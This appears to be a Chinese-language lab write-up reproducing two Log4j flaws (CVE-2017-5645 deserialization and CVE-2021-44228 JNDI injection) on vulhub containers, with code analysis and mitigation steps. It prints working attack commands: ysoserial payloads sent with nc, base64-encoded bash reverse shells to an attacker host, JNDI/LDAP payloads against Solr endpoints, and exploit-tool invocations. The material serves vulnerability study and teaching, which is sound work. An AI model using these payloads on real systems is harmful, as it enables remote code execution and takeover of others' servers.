环境搭建

1
2
3
4
#拉取vulhub项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
#解压
unzip vulhub-master.zip

CVE-2017-5645

服务端未对接收的序列化数据进行安全校验,攻击者可构造包含恶意对象的序列化流,进而导致反序列化漏洞。

简介

Log4j 是取代原始打印语句的日志框架,通过分级(可设置日志重要性)、多目的地(控制台、文件、数据库)、可动态配置(日志格式、自动分割大文件等)的记录方式,让开发者高效定位问题,同时减少对程序性能的拖累。

影响版本

  • Log4j 2.x <= 2.8.1
  • 组件SocketServer / TCPServer(默认监听端口 4712/TCP)

漏洞分析

分析

https://cdn.jjjxx.top/img/Log4j-2.8.1项目下载地址

启动Log4j后,TCP远程日志服务调用会TcpSocketServer#createSerializedSocketServer()方法创建了SockerServer,并调用socketServer.startNewThread()

下一步跳进AbstractSocketServer#startNewThread()

看到它调用了thread.start()

回到TcpSocketServer#run()方法中,在while循环中会判断socket是否关闭,并用serverSocket.accept()接收数据,接着将收到的数据传给下方创建的SocketHandler

跟进SocketHandler,可以看到获取了socket的数据流后,传入了 logEventInput 的wrapStream中,接着又把这个结果传给了logEventInput.logEvents

跟进logEvents方法,发现它是个接口,左键转到实现

调用了inputStream.readObject()对数据进行反序列化。

它没有对传入的数据进行过滤,因此可以结合CC链等进行反序列化利用。

流程图

漏洞复现

启动环境

1
2
3
4
#进入目录
cd vulhub-master/log4j/CVE-2017-5645/
#拉取环境
docker compose up -d

启动环境后,会在4712端口开启一个TCPServer服务

在vps上使用ysoserial使用CC5链生成恶意序列化payload并发送给目标ip的4712端口,也就是靶场端口

1
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 目标ip 4712 

1
2
#进入环境
docker exec -it id /bin/bash

查看是否成功创建文件

反弹Shell命令

1
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 目标ip 4712

修复

  • 升级至官方补丁后版本Log4j ≥2.8.2
  • 临时缓解措施:禁用高危组件(停止TCPServer/SocketServer服务)
1
kill -9 $(ps -ef | grep 'log4j.jar' | grep -v grep | awk '{print $2}')

CVE-2021-44228

简介

Log4j2

Log4j2是一个Java日志组件,前身是Log4j,但是Log4j2重新构建了框架,因此可以说它们是两个独立的组件。

JNDI

JNDI是从Java 应用中访问名称和目录服务的一组 API,简单来说就是将名称 / 目录与对象相关联,可以通过名称 / 目录来查找对象。

JNDI三层架构分别为JNDI API,它是与 Java 应用程序通信,提供编程接口,隔离应用与数据源、Naming Manager(命名服务管理器)和JNDI SPI它主要是与具体实现方法(服务)相连接

它支持的服务有 RMI、LDAP、DNS 等,通过把这些服务封装起来,使得可以通过调用容器环境的Context的lookup方法访问这些服务。例如通过 lookup("rmi://ip:port/...") 的形式访问到RMI 服务,同理LDAP也是相同,因此如果可以控制 JNDI lookup 的 URL,便可以任意加载远程类,执行恶意代码。

JNDI 注入受到 JDK的trustURLCodebase配置限制,在JDK 11.0.1、8u191、7u201、6u211 等版本中这一配置默认是 true,可以JNDI注入。但是从 6u132、7u122、8u113 开始其配置是 false,因此后面使用高版本 JDK 复现时要手动开启这一配置。

影响版本

Log4j2最早期的版本

  • Apache Log4j 2.x <= 2.14.1(2.0-beta9 至 2.14.1),支持JNDI查找功能

漏洞原理

Log4j2 支持通过 ${} 语法动态解析日志内容中的变量,因此可以配合JNDI构造包含 \${jndi:ldap://vps/expclass}的日志消息,触发服务端向恶意 LDAP/RMI 服务器请求并加载远程类,从而达到执行命令的目的。

漏洞复现

复现

环境启动后可以访问到Solr服务,它搭载了存在JNDI注入漏洞Log4j2的组件

常见漏洞点如下:

也就是前面提到的存在lookup方法且参数可控的地方

1
2
3
4
/solr/admin/cores?action=payload 
/solr/admin/info?d=payload
/solr/admin/cores?_=1682346330230&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=payload&schema=schema.xml&wt=json
/solr/admin/collections?action=payload

使用DNSlog探测是否存在漏洞,如果回显了java版本就说明存在该漏洞

1
/solr/admin/info?d=${jndi:ldap://${sys:java.version}.0rehow.dnslog.cn}

访问该路径

看到回显了java版本

使用JNDIExploit-1工具开启恶意LDAP服务

1
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vps

监听9999端口反弹shell用

向目标服务器发送payload,让其加载到我们开启的恶意LDAP服务(具体点就是加载恶意字节码)
payload如下:

1
/solr/admin/info?d=${jndi:ldap://vps:1389/Basic/ReverseShell/vps/9999}

发送payload后,使用工具启动的LDAP服务出现回显,说明成功加载了恶意服务

拿到目标ip的Shell

其他工具的使用

JNDI-Injection-Exploit
使用命令开启LDAP和RMI服务,并生成对应协议和JDK版本的URL

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A vpsip
#-C是要执行的命令


监听反弹shell端口

1
nc -lvnp 9999

将生成的恶意字节码路径写入payload中

1
/solr/admin/cores?action=${jndi:rmi://vpsip:1099/ehyzeh}

访问路径即可触发JNDI注入执行命令。
另外还有一个java-chains工具可以用。

修复

  • 升级版本
  • 临时措施:删除JNDILookup类、禁用JNDI查找

参考

https://note.tonycrane.cc/sec/vulns/log4j/
https://www.anquanke.com/post/id/264176#h3-8